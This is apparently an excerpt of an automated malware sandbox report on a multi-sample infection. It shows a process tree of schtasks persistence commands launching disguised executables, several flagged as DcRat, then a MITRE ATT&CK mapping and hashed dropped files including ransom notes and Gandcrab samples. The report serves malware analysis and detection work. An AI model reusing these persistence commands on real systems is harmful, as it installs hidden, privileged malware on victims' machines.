                                                                                                                                            schtasks.exe /create /tn "winhlp32w" /sc MINUTE /mo 12 /tr "'C:\Users\All Users\winhlp32.exe'" /rl HIGHEST /f
                                                                                                                                            1⤵
                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                            PID:3780
                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                            schtasks.exe /create /tn "Happy18" /sc ONLOGON /tr "'C:\Program Files\Windows Portable Devices\Happy18.exe'" /rl HIGHEST /f
                                                                                                                                            1⤵
                                                                                                                                            • DcRat
                                                                                                                                            PID:1572
                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                            schtasks.exe /create /tn "34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad472193" /sc MINUTE /mo 14 /tr "'C:\MSOCache\All Users\{90140000-002C-0409-0000-0000000FF1CE}-C\Proof.en\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe'" /f
                                                                                                                                            1⤵
                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                            PID:3516
                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                            schtasks.exe /create /tn "Happy18H" /sc MINUTE /mo 13 /tr "'C:\Program Files\Windows Portable Devices\Happy18.exe'" /rl HIGHEST /f
                                                                                                                                            1⤵
                                                                                                                                            • DcRat
                                                                                                                                            PID:3724
                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                            schtasks.exe /create /tn "34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-002C-0409-0000-0000000FF1CE}-C\Proof.en\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe'" /rl HIGHEST /f
                                                                                                                                            1⤵
                                                                                                                                            • DcRat
                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                            PID:3964
                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                            schtasks.exe /create /tn "34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad472193" /sc MINUTE /mo 7 /tr "'C:\MSOCache\All Users\{90140000-002C-0409-0000-0000000FF1CE}-C\Proof.en\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe'" /rl HIGHEST /f
                                                                                                                                            1⤵
                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                            PID:3920
                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                            schtasks.exe /create /tn "taskhostt" /sc MINUTE /mo 14 /tr "'C:\Recovery\5ba42562-3a8b-11ef-9d17-d685e2345d05\taskhost.exe'" /f
                                                                                                                                            1⤵
                                                                                                                                              PID:976
                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                              schtasks.exe /create /tn "audiodga" /sc MINUTE /mo 5 /tr "'C:\Users\All Users\Start Menu\audiodg.exe'" /f
                                                                                                                                              1⤵
                                                                                                                                              • DcRat
                                                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                                                              PID:3128
                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                              schtasks.exe /create /tn "taskhost" /sc ONLOGON /tr "'C:\Recovery\5ba42562-3a8b-11ef-9d17-d685e2345d05\taskhost.exe'" /rl HIGHEST /f
                                                                                                                                              1⤵
                                                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                                                              PID:3720
                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                              schtasks.exe /create /tn "audiodg" /sc ONLOGON /tr "'C:\Users\All Users\Start Menu\audiodg.exe'" /rl HIGHEST /f
                                                                                                                                              1⤵
                                                                                                                                                PID:1624
                                                                                                                                              • C:\Windows\SysWOW64\wininit.exe
                                                                                                                                                "C:\Windows\SysWOW64\wininit.exe"
                                                                                                                                                1⤵
                                                                                                                                                  PID:4040
                                                                                                                                                • C:\Windows\SysWOW64\wowmgr.exe
                                                                                                                                                  C:\Windows\SysWOW64\wowmgr.exe
                                                                                                                                                  1⤵
                                                                                                                                                    PID:976
                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                    schtasks.exe /create /tn "taskhostt" /sc MINUTE /mo 7 /tr "'C:\Recovery\5ba42562-3a8b-11ef-9d17-d685e2345d05\taskhost.exe'" /rl HIGHEST /f
                                                                                                                                                    1⤵
                                                                                                                                                      PID:2468
                                                                                                                                                    • C:\Windows\system32\vssvc.exe
                                                                                                                                                      C:\Windows\system32\vssvc.exe
                                                                                                                                                      1⤵
                                                                                                                                                        PID:3392
                                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                                        schtasks.exe /create /tn "audiodga" /sc MINUTE /mo 12 /tr "'C:\Users\All Users\Start Menu\audiodg.exe'" /rl HIGHEST /f
                                                                                                                                                        1⤵
                                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                                        PID:580
                                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                                        schtasks.exe /create /tn "BTZB" /sc MINUTE /mo 14 /tr "'C:\Program Files\Common Files\BTZ.exe'" /f
                                                                                                                                                        1⤵
                                                                                                                                                        • DcRat
                                                                                                                                                        PID:3224

                                                                                                                                                      Network

                                                                                                                                                      MITRE ATT&CK Enterprise v15

                                                                                                                                                      Reconnaissance

                                                                                                                                                      Resource Development

                                                                                                                                                      Initial Access

                                                                                                                                                      Replication Through Removable Media

                                                                                                                                                      1
                                                                                                                                                      T1091

                                                                                                                                                      Execution

                                                                                                                                                      Command and Scripting Interpreter

                                                                                                                                                      1
                                                                                                                                                      T1059

                                                                                                                                                      PowerShell

                                                                                                                                                      1
                                                                                                                                                      T1059.001

                                                                                                                                                      Scheduled Task/Job

                                                                                                                                                      1
                                                                                                                                                      T1053

                                                                                                                                                      Scheduled Task

                                                                                                                                                      1
                                                                                                                                                      T1053.005

                                                                                                                                                      Scripting

                                                                                                                                                      1
                                                                                                                                                      T1064

                                                                                                                                                      Windows Management Instrumentation

                                                                                                                                                      1
                                                                                                                                                      T1047

                                                                                                                                                      Persistence

                                                                                                                                                      Boot or Logon Autostart Execution

                                                                                                                                                      1
                                                                                                                                                      T1547

                                                                                                                                                      Registry Run Keys / Startup Folder

                                                                                                                                                      1
                                                                                                                                                      T1547.001

                                                                                                                                                      Create or Modify System Process

                                                                                                                                                      1
                                                                                                                                                      T1543

                                                                                                                                                      Windows Service

                                                                                                                                                      1
                                                                                                                                                      T1543.003

                                                                                                                                                      Scheduled Task/Job

                                                                                                                                                      1
                                                                                                                                                      T1053

                                                                                                                                                      Scheduled Task

                                                                                                                                                      1
                                                                                                                                                      T1053.005

                                                                                                                                                      Privilege Escalation

                                                                                                                                                      Boot or Logon Autostart Execution

                                                                                                                                                      1
                                                                                                                                                      T1547

                                                                                                                                                      Registry Run Keys / Startup Folder

                                                                                                                                                      1
                                                                                                                                                      T1547.001

                                                                                                                                                      Create or Modify System Process

                                                                                                                                                      1
                                                                                                                                                      T1543

                                                                                                                                                      Windows Service

                                                                                                                                                      1
                                                                                                                                                      T1543.003

                                                                                                                                                      Scheduled Task/Job

                                                                                                                                                      1
                                                                                                                                                      T1053

                                                                                                                                                      Scheduled Task

                                                                                                                                                      1
                                                                                                                                                      T1053.005

                                                                                                                                                      Defense Evasion

                                                                                                                                                      Impair Defenses

                                                                                                                                                      2
                                                                                                                                                      T1562

                                                                                                                                                      Disable or Modify System Firewall

                                                                                                                                                      1
                                                                                                                                                      T1562.004

                                                                                                                                                      Safe Mode Boot

                                                                                                                                                      1
                                                                                                                                                      T1562.009

                                                                                                                                                      Indicator Removal

                                                                                                                                                      1
                                                                                                                                                      T1070

                                                                                                                                                      File Deletion

                                                                                                                                                      1
                                                                                                                                                      T1070.004

                                                                                                                                                      Modify Registry

                                                                                                                                                      4
                                                                                                                                                      T1112

                                                                                                                                                      Scripting

                                                                                                                                                      1
                                                                                                                                                      T1064

                                                                                                                                                      Subvert Trust Controls

                                                                                                                                                      1
                                                                                                                                                      T1553

                                                                                                                                                      Install Root Certificate

                                                                                                                                                      1
                                                                                                                                                      T1553.004

                                                                                                                                                      Credential Access

                                                                                                                                                      Credentials from Password Stores

                                                                                                                                                      2
                                                                                                                                                      T1555

                                                                                                                                                      Credentials from Web Browsers

                                                                                                                                                      1
                                                                                                                                                      T1555.003

                                                                                                                                                      Windows Credential Manager

                                                                                                                                                      1
                                                                                                                                                      T1555.004

                                                                                                                                                      Unsecured Credentials

                                                                                                                                                      1
                                                                                                                                                      T1552

                                                                                                                                                      Credentials In Files

                                                                                                                                                      1
                                                                                                                                                      T1552.001

                                                                                                                                                      Discovery

                                                                                                                                                      Browser Information Discovery

                                                                                                                                                      1
                                                                                                                                                      T1217

                                                                                                                                                      Peripheral Device Discovery

                                                                                                                                                      1
                                                                                                                                                      T1120

                                                                                                                                                      Query Registry

                                                                                                                                                      4
                                                                                                                                                      T1012

                                                                                                                                                      System Information Discovery

                                                                                                                                                      3
                                                                                                                                                      T1082

                                                                                                                                                      System Location Discovery

                                                                                                                                                      1
                                                                                                                                                      T1614

                                                                                                                                                      System Language Discovery

                                                                                                                                                      1
                                                                                                                                                      T1614.001

                                                                                                                                                      System Network Configuration Discovery

                                                                                                                                                      1
                                                                                                                                                      T1016

                                                                                                                                                      Wi-Fi Discovery

                                                                                                                                                      1
                                                                                                                                                      T1016.002

                                                                                                                                                      Lateral Movement

                                                                                                                                                      Replication Through Removable Media

                                                                                                                                                      1
                                                                                                                                                      T1091

                                                                                                                                                      Collection

                                                                                                                                                      Data from Local System

                                                                                                                                                      1
                                                                                                                                                      T1005

                                                                                                                                                      Command and Control

                                                                                                                                                      Web Service

                                                                                                                                                      1
                                                                                                                                                      T1102

                                                                                                                                                      Exfiltration

                                                                                                                                                      Impact

                                                                                                                                                      Defacement

                                                                                                                                                      1
                                                                                                                                                      T1491

                                                                                                                                                      Inhibit System Recovery

                                                                                                                                                      1
                                                                                                                                                      T1490

                                                                                                                                                      Replay Monitor

                                                                                                                                                      Loading Replay Monitor...

                                                                                                                                                      Downloads

                                                                                                                                                      • C:\$Recycle.Bin\AXPZE-DECRYPT.txt
                                                                                                                                                        Filesize

                                                                                                                                                        8KB

                                                                                                                                                        MD5

                                                                                                                                                        fcca4d93219bb822943a879be1f52784

                                                                                                                                                        SHA1

                                                                                                                                                        20f02d73477b59fcb97d47ebb11cf1c660d80d15

                                                                                                                                                        SHA256

                                                                                                                                                        7c5dd460e7c34a5fc222a9a90f5e91bb92e8aaf5674a8b3f5b4a3e9b9e61ce09

                                                                                                                                                        SHA512

                                                                                                                                                        b4345da53d19646d2bbc8781602427964bfeebc6b09d0f30622746ef94439528f2da4f7da4dd605c5a6b7b70ab3520a90ac87dc070ed9c77e20d5a31f35da3c7

                                                                                                                                                        Download Submit

                                                                                                                                                      • C:\AXPZE-DECRYPT.txt
                                                                                                                                                        Filesize

                                                                                                                                                        8KB

                                                                                                                                                        MD5

                                                                                                                                                        fd6d9c8de1e284ded9ba3fafc71b64f8

                                                                                                                                                        SHA1

                                                                                                                                                        739d686a8b36a8e9c615c783dabfaf798435e256

                                                                                                                                                        SHA256

                                                                                                                                                        213465f01db3e544ffc8c5cade295a110b1b8c4b5e574edb7e18dccc44c64948

                                                                                                                                                        SHA512

                                                                                                                                                        f167c06debcd807baff8d27c80144d8cb09c3c30731f2dcbe7f27ed9e63c4f5b2d711499a4ff6aa00ef563250d00990730d778454c5f3a056aea416cae0cdab4

                                                                                                                                                        Download Submit

                                                                                                                                                      • C:\MSOCache\All Users\{90140000-0016-0409-0000-0000000FF1CE}-C\YOUR_FILES_ARE_DEAD.HTA
                                                                                                                                                        Filesize

                                                                                                                                                        64KB

                                                                                                                                                        MD5

                                                                                                                                                        bb2232192519998834929e8002d04209

                                                                                                                                                        SHA1

                                                                                                                                                        baa9da090976e4cb0203d499a9acc722223a05c8

                                                                                                                                                        SHA256

                                                                                                                                                        1ff42ec20d99a8b0080f8e4e68e326e488c2da60c1ee6c22e5f2675792c45d9c

                                                                                                                                                        SHA512

                                                                                                                                                        a4981314f0f34be3208c04e3e5a55b2ff266d00f7836756816531fd17d39954e99aff137e828257b74dbf5ac39c6e83b04a109b99cc5068b5e28d91813e9c646

                                                                                                                                                        Download Submit

                                                                                                                                                      • C:\Program Files (x86)\5e710462c65fe899466e4fb7c1e33c9a.exe
                                                                                                                                                        Filesize

                                                                                                                                                        828KB

                                                                                                                                                        MD5

                                                                                                                                                        5e710462c65fe899466e4fb7c1e33c9a

                                                                                                                                                        SHA1

                                                                                                                                                        a0bee34a8865683de35502c1ed5ff41e86670718

                                                                                                                                                        SHA256

                                                                                                                                                        f4f54ed5ec3a6e3b427be418fa0f63061e2feffbb9c33ab3911404b1b8f93c7e

                                                                                                                                                        SHA512

                                                                                                                                                        35c4adede7a4f8baad61876de8821e91dfe4ace4ec721575fc8155f6e7d43c794a7d4741609fda24b16a82d3d9ae18bc35addb299416f59ad1cde74eedbfa0c2

                                                                                                                                                        Download Submit

                                                                                                                                                      • C:\Program Files (x86)\7f1630df6b57af024a3b561bdadc208f.exe
                                                                                                                                                        Filesize

                                                                                                                                                        175KB

                                                                                                                                                        MD5

                                                                                                                                                        7f1630df6b57af024a3b561bdadc208f

                                                                                                                                                        SHA1

                                                                                                                                                        9b304cb2eff05f040b76eccc00ee55b914cf1839

                                                                                                                                                        SHA256

                                                                                                                                                        c9dbac4fe659e8918f50a4a157713e40d71e05367799af66d1d7845d958ee3f7

                                                                                                                                                        SHA512

                                                                                                                                                        742219cb5c76b9d39ed56cff988a533d19ef3e202e0fa48e9a3aed7dd9de190eef0c313bc974e37e7f363892eb6787bc66657324be2f0fb05d1b0021ae61ec9e

                                                                                                                                                        Download Submit

                                                                                                                                                      • C:\Program Files (x86)\938b92958ded4d50a357d22eddf141ad.exe
                                                                                                                                                        Filesize

                                                                                                                                                        308KB

                                                                                                                                                        MD5

                                                                                                                                                        938b92958ded4d50a357d22eddf141ad

                                                                                                                                                        SHA1

                                                                                                                                                        062f16b1cdfacc55f982908ee6c85fce6296805a

                                                                                                                                                        SHA256

                                                                                                                                                        93c8db29ec3707f13bf5a96d5b8a3dc33c2f5b870acd3df07292c724ce10a13f

                                                                                                                                                        SHA512

                                                                                                                                                        372942601188751cdbb79cc94469a66434ca2963591bb849137654622485cd92f4ac8fbbc9b83c3acdc128e354bb3b805af0fc0a465e0a2519d330f8ca9a6c36

                                                                                                                                                        Download Submit

                                                                                                                                                      • C:\Program Files (x86)\BTZ.exe
                                                                                                                                                        Filesize

                                                                                                                                                        73KB

                                                                                                                                                        MD5

                                                                                                                                                        cff0392ac2a1d782f43f7938ea18af4f

                                                                                                                                                        SHA1

                                                                                                                                                        1dfd93a3106a1b4fd10cfaf8b8bb4bb606c4093d

                                                                                                                                                        SHA256

                                                                                                                                                        ecfed4163f7058856e1d253a29d06d808c069670e4a06cad66f42e71cbc83a2e

                                                                                                                                                        SHA512

                                                                                                                                                        134f6c8343bbcce6e23ae370193aa1b415f337790e13b2cd6171e657c775c7971a7b13146d930b5273b0ea64ee947df1cc5467e4dd52900d70f13550c6b9ae8b

                                                                                                                                                        Download Submit

                                                                                                                                                      • C:\Program Files (x86)\Cat.exe
                                                                                                                                                        Filesize

                                                                                                                                                        2.1MB

                                                                                                                                                        MD5

                                                                                                                                                        fadadf302e5b6c4010d700a3802ac678

                                                                                                                                                        SHA1

                                                                                                                                                        6548d465ae4facaa1d2d1921e423a7b871bcf36b

                                                                                                                                                        SHA256

                                                                                                                                                        d61f36d7dc8cc8464434ee6fa72fec2d1e210978769d1443db08f1decd845f67

                                                                                                                                                        SHA512

                                                                                                                                                        571db891718f1cc7e260772054ec39592259fdb3238dab90071a8ab7eeddc5baf2de2719f12f246a4a0466da7b72776a49f51da124afff936cd78f4253b5646b

                                                                                                                                                        Download Submit

                                                                                                                                                      • C:\Program Files (x86)\Client.exe
                                                                                                                                                        Filesize

                                                                                                                                                        100KB

                                                                                                                                                        MD5

                                                                                                                                                        21560cb75b809cf46626556cd5fbe3ab

                                                                                                                                                        SHA1

                                                                                                                                                        f2eec01d42a301c3caacd41cddb0ef2284dbb5a6

                                                                                                                                                        SHA256

                                                                                                                                                        d2525bab5cb322933c8978880975e0c189feece68ae3f1951bf46297c7f640fa

                                                                                                                                                        SHA512

                                                                                                                                                        21eac0037b16f968ee8743b52dc73efdd34d24c2502d090b399a552dc6cb75f7d3090c10d448c66b868b1c4a7c46a5068b084b88b487e40b1e755356cb7557db

                                                                                                                                                        Download Submit

                                                                                                                                                      • C:\Program Files (x86)\Darkest Dungeon setub.exe
                                                                                                                                                        Filesize

                                                                                                                                                        284KB

                                                                                                                                                        MD5

                                                                                                                                                        382c21837fbb296675b92c64bbc6249d

                                                                                                                                                        SHA1

                                                                                                                                                        ddedd90110497139ee0b5fca0e8ea3b585271f6d

                                                                                                                                                        SHA256

                                                                                                                                                        6ba1d9cf4b63033c0d9752fbe663eee726a5cf5401b20b8b8e927cca39cf113d

                                                                                                                                                        SHA512

                                                                                                                                                        3a7cc906a9bc94526b0f0fbaff43fa6230e14d0226439d1558b1e09d258911beb79fbfdb56c9286373856dca958dd5decb10c42e7248763dde1e1e85a3aae727

                                                                                                                                                        Download Submit

                                                                                                                                                      • C:\Program Files (x86)\Gandcrab5.0.3.exe
                                                                                                                                                        Filesize

                                                                                                                                                        424KB

                                                                                                                                                        MD5

                                                                                                                                                        95557a29de4b70a25ce62a03472be684

                                                                                                                                                        SHA1

                                                                                                                                                        5baabf2869278e60d4c4f236b832bffddd6cf969

                                                                                                                                                        SHA256

                                                                                                                                                        49b769536224f160b6087dc866edf6445531c6136ab76b9d5079ce622b043200

                                                                                                                                                        SHA512

                                                                                                                                                        79b78cf77926e0d8b424ad9984f72d4461c7d9e7af58c4e2af32fa7c58cc445c534228b0709b87f5e35e1c8793b3d028dc60787151d852b8524023d08b57f103

                                                                                                                                                        Download Submit

                                                                                                                                                      • C:\Program Files (x86)\Happy18.exe
                                                                                                                                                        Filesize

                                                                                                                                                        9KB

                                                                                                                                                        MD5

                                                                                                                                                        8c0ec9b7f903dce401ac301fbf43e930

                                                                                                                                                        SHA1

                                                                                                                                                        46db7e2a37d95eb1265b30c1557a5e80683b48f1

                                                                                                                                                        SHA256

                                                                                                                                                        ddd60301114f7867605a31a6d7c4c2014fe28bd4e0edfc53024a22d10b7bf3f8

                                                                                                                                                        SHA512

                                                                                                                                                        5dc630f669ae4ddb6cbe6b6f276d63aaf9f55de964990b4a2a57830bd0fd1127a2ee729bc099b738e813c6e0b23a29c3d73b39bb6055372867eb1dcc57635ae5

                                                                                                                                                        Download Submit

                                                                                                                                                      • C:\Program Files (x86)\LightNeuronX0.exe
                                                                                                                                                        Filesize

                                                                                                                                                        14KB

                                                                                                                                                        MD5

                                                                                                                                                        55319464e46e2c31d22b39b46d5477fb

                                                                                                                                                        SHA1

                                                                                                                                                        a4d1a34fe5effd90ccb6897679586ddc07fbc5cd

                                                                                                                                                        SHA256

                                                                                                                                                        14f530e16e8c6dbac02f1bde53594f01b7edab9c45c4c371a3093120276ffaf1

                                                                                                                                                        SHA512

                                                                                                                                                        3a3ad3aa4bf745932d8ea02f3c96774aada2d1d1723be1ceb6cd5b7823e3d0f4e91457dbeebe92c8a2c8e7bdc1134b3b59bb9d9ce7503aeae6c182894203c9a3

                                                                                                                                                        Download Submit

                                                                                                                                                      • C:\Program Files (x86)\a6a1abaf12a28ea8f6553356c3bdcf57.exe
                                                                                                                                                        Filesize

                                                                                                                                                        874KB

                                                                                                                                                        MD5

                                                                                                                                                        a6a1abaf12a28ea8f6553356c3bdcf57

                                                                                                                                                        SHA1

                                                                                                                                                        b7613fb9944bc3d8e11b5eb6f7ff706f04e8ad53

                                                                                                                                                        SHA256

                                                                                                                                                        f2507211585dfe351ff53086f30b42572db223b2646e45f91b7f3e202bb0bb76

                                                                                                                                                        SHA512

                                                                                                                                                        e525d119128c1ca1c05d379b9ebba9791b7b15390c8999773bff6517fde674178e17ee2c7c126b249c8c54b4dd1c07326ba24d52c8c192f067bc7e8545113a65

                                                                                                                                                        Download Submit

                                                                                                                                                      • C:\Program Files (x86)\fwclt.exe
                                                                                                                                                        Filesize

                                                                                                                                                        1024B

                                                                                                                                                        MD5

                                                                                                                                                        c98a0d1909d8fad4110c8f35ee6f8391

                                                                                                                                                        SHA1

                                                                                                                                                        3c2b7bb0f3c8ca829602e4182a816a0905398521

                                                                                                                                                        SHA256

                                                                                                                                                        0f5ec3b9535d4f956330351c5310626ffaa17f146ff51a8b3b10ea0a7039eadc

                                                                                                                                                        SHA512

                                                                                                                                                        d3760b816b2a3fc3ec4f3ed9eee869885943d95d8a18f8a8233bc3e1b0f774dc9f55b518a54bcac3f94b2d960a73e53987fc09fa338c5b56d20e042610c0d948

                                                                                                                                                        Download Submit

                                                                                                                                                      • C:\Program Files (x86)\touhou virus.bat
                                                                                                                                                        Filesize

                                                                                                                                                        842B

                                                                                                                                                        MD5

                                                                                                                                                        ce982443fd7813bf5fac953b19d702af

                                                                                                                                                        SHA1

                                                                                                                                                        b4ddbc76f4f44ad82547b427ed1f67ca9d3b2665

                                                                                                                                                        SHA256

                                                                                                                                                        5f930dde52cdb9b2f0118be71c07fa77cf702b1e2d704a08ef9a6af6950413a2

                                                                                                                                                        SHA512

                                                                                                                                                        40b0e27d5a55633531ade75156a69df58d6cc33400380330a05d9e665f47857d4c1f76779ce790e84ac6208e1a58b468d056edd28a03c4e949dffc09acf0adc0

                                                                                                                                                        Download Submit

                                                                                                                                                      • C:\Program Files (x86)\virus.jk.exe
                                                                                                                                                        Filesize

                                                                                                                                                        2.0MB

                                                                                                                                                        MD5

                                                                                                                                                        e0d346913cbf16602edf1aceda2a62b1

                                                                                                                                                        SHA1

                                                                                                                                                        2387b499cba2684ab293a758413ea2a5f150fa45

                                                                                                                                                        SHA256

                                                                                                                                                        c1bc3d85a9f78eea49adfb80669570c0cd6cd3dda92223496182e3aadf4e0b30

                                                                                                                                                        SHA512

                                                                                                                                                        a2c9a2708b4e0a32ab10bd29428ad2583382a5bb56dc6641ae07144d8707efd963004d1a5e71a9c8b9c53e09629b60b9ef7e6a16366ee376083937e717c1977f

                                                                                                                                                        Download Submit

                                                                                                                                                      • C:\Program Files\Java\jdk1.7.0_80\jre\lib\images\cursors\win32_LinkNoDrop32x32.gif
                                                                                                                                                        Filesize

                                                                                                                                                        153B

                                                                                                                                                        MD5

                                                                                                                                                        4409c9e98062a5f757e3c8e3fee839bc

                                                                                                                                                        SHA1

                                                                                                                                                        6e20ffdfcb864270e763c9f4617049a821a6f401

                                                                                                                                                        SHA256

                                                                                                                                                        b8450b62b5134f0dae7eb5fce76c80148c2a8d0779cec2b3bd8bef90da05f61c

                                                                                                                                                        SHA512

                                                                                                                                                        b0d518004358c42a2d409f51746af16e43de4ccd619652330b9ee7a9e63104c32d82270e8435b34e8077ec0de1554c595b6c2f98106c01b509adb2457daa4f1d

                                                                                                                                                        Download Submit

                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\Cab9EA2.tmp
                                                                                                                                                        Filesize

                                                                                                                                                        70KB

                                                                                                                                                        MD5

                                                                                                                                                        49aebf8cbd62d92ac215b2923fb1b9f5

                                                                                                                                                        SHA1

                                                                                                                                                        1723be06719828dda65ad804298d0431f6aff976

                                                                                                                                                        SHA256

                                                                                                                                                        b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

                                                                                                                                                        SHA512

                                                                                                                                                        bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

                                                                                                                                                        Download Submit

                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\TarAA39.tmp
                                                                                                                                                        Filesize

                                                                                                                                                        181KB

                                                                                                                                                        MD5

                                                                                                                                                        4ea6026cf93ec6338144661bf1202cd1

                                                                                                                                                        SHA1

                                                                                                                                                        a1dec9044f750ad887935a01430bf49322fbdcb7

                                                                                                                                                        SHA256

                                                                                                                                                        8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

                                                                                                                                                        SHA512

                                                                                                                                                        6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

                                                                                                                                                        Download Submit

                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\bhv471E.tmp
                                                                                                                                                        Filesize

                                                                                                                                                        32.1MB

                                                                                                                                                        MD5

                                                                                                                                                        cdbe1e8716727d80dfc2e33beae9c0dc

                                                                                                                                                        SHA1

                                                                                                                                                        05e3c22b7613b71392afd5d771cec87c1c714a1c

                                                                                                                                                        SHA256

                                                                                                                                                        4481d5965b733bdf839261ed9931b85781519d6ba51aec4fbbb4ffbd610399d0

                                                                                                                                                        SHA512

                                                                                                                                                        1bd2c3c664966ec1a437fc6aa276dd384aa52b5aafc53fc0872a4e5041e696660709ed02d7c80da87abac58ca6b39a41f4ccb5581673937ac8c2b1b52a71f4ab

                                                                                                                                                        Download Submit

                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\evil.exe
                                                                                                                                                        Filesize

                                                                                                                                                        23KB

                                                                                                                                                        MD5

                                                                                                                                                        0e0d73422110762ad112c39647865d09

                                                                                                                                                        SHA1

                                                                                                                                                        4bb94e94e65a8bc12313783df99b96d89d7fd764

                                                                                                                                                        SHA256

                                                                                                                                                        02ac6f6f2eff68b25be9ec044a2af027fbc915af3053f647086f68ad8d6c2e30

                                                                                                                                                        SHA512

                                                                                                                                                        e31a21c42c7bcdeb8dd80418fad12d5dc8486e21b609f5636114021fbcadb989ca7a612c0300ebb235c5f7a167a60541125409bd959442116407f48808742607

                                                                                                                                                        Download Submit

                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\ish259424374\bootstrap_39494.html
                                                                                                                                                        Filesize

                                                                                                                                                        156B

                                                                                                                                                        MD5

                                                                                                                                                        1ea9e5b417811379e874ad4870d5c51a

                                                                                                                                                        SHA1

                                                                                                                                                        a4bd01f828454f3619a815dbe5423b181ec4051c

                                                                                                                                                        SHA256

                                                                                                                                                        f076773a6e3ae0f1cee3c69232779a1aaaf05202db472040c0c8ea4a70af173a

                                                                                                                                                        SHA512

                                                                                                                                                        965c10d2aa5312602153338da873e8866d2782e0cf633befe5a552b770e08abf47a4d2e007cdef7010c212ebcb9fefea5610c41c7ed1553440eaeab7ddd72daa

                                                                                                                                                        Download Submit

                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\ish259424374\css\buttons.css
                                                                                                                                                        Filesize

                                                                                                                                                        1KB

                                                                                                                                                        MD5

                                                                                                                                                        f03b9fcc0266083e3230b560e77a9793

                                                                                                                                                        SHA1

                                                                                                                                                        c3110a2cc7c003c37b9cdb77f57dbd39bc7ae35b

                                                                                                                                                        SHA256

                                                                                                                                                        dc5536ce2007fbe3f9640900af3598378bd5072cdd221d7772bdf25e90961236

                                                                                                                                                        SHA512

                                                                                                                                                        6c6c8b924362d24ce7d238a166910b697638fcc4e798684c46191d405ae333a62d7036108aad0816018ca451ebca982a2a95b8795add51a9c3dabc7cf2280959

                                                                                                                                                        Download Submit

                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\ish259424374\css\main.css
                                                                                                                                                        Filesize

                                                                                                                                                        3KB

                                                                                                                                                        MD5

                                                                                                                                                        a57feadde7e5a4d66d498841fe67f10b

                                                                                                                                                        SHA1

                                                                                                                                                        8f2d54747f7e34b16311e435448a32cf23e6abd1

                                                                                                                                                        SHA256

                                                                                                                                                        105b507c81b860c617312b3a0371db669a08210351a4d63f390b52b46abf0b40

                                                                                                                                                        SHA512

                                                                                                                                                        98caddc50e87d1ea43be9c1355c1f116872e341cd28392a6130d027b72db1fff7cde10b7124942bfe750198c3b39df14937ec2ea19a529ec7d06b964ac68c422

                                                                                                                                                        Download Submit

                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\ish259424374\css\sdk-ui\browse.css
                                                                                                                                                        Filesize

                                                                                                                                                        318B

                                                                                                                                                        MD5

                                                                                                                                                        10c359bc980927bb66b215407ece3e66

                                                                                                                                                        SHA1

                                                                                                                                                        4a2fc034bf7b4e84d832b6bbd9413d2055b9ec62

                                                                                                                                                        SHA256

                                                                                                                                                        5b12769a75d1c755a284a73e1b8422f73d6223c23b72e5bce698c17f50185aa8

                                                                                                                                                        SHA512

                                                                                                                                                        ed707c6bbf5023aa147571d9d186e8348b11da6fb462de69e4135480f2e10081c416c80745411752797401660221e2040e624b5a6d3e1a57ba59cdcc009eb16c

                                                                                                                                                        Download Submit

                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\ish259424374\css\sdk-ui\button.css
                                                                                                                                                        Filesize

                                                                                                                                                        417B

                                                                                                                                                        MD5

                                                                                                                                                        37e1ff96e084ec201f0d95feef4d5e94

                                                                                                                                                        SHA1

                                                                                                                                                        4ec405f2668d5d93260525ad916abafa2414cb72

                                                                                                                                                        SHA256

                                                                                                                                                        8e806f5b94fc294e918503c8053ef1284e4f4b1e02c7da4f4635e33ec33e0534

                                                                                                                                                        SHA512

                                                                                                                                                        1a8a27a92abe35edaa2c950b130579c92f0d0d87b09971843c39569cf06d407b8e896751e73452676bfad45a363f0b6dd00cb6c5faf33966880539e106b19f94

                                                                                                                                                        Download Submit

                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\ish259424374\css\sdk-ui\checkbox.css
                                                                                                                                                        Filesize

                                                                                                                                                        190B

                                                                                                                                                        MD5

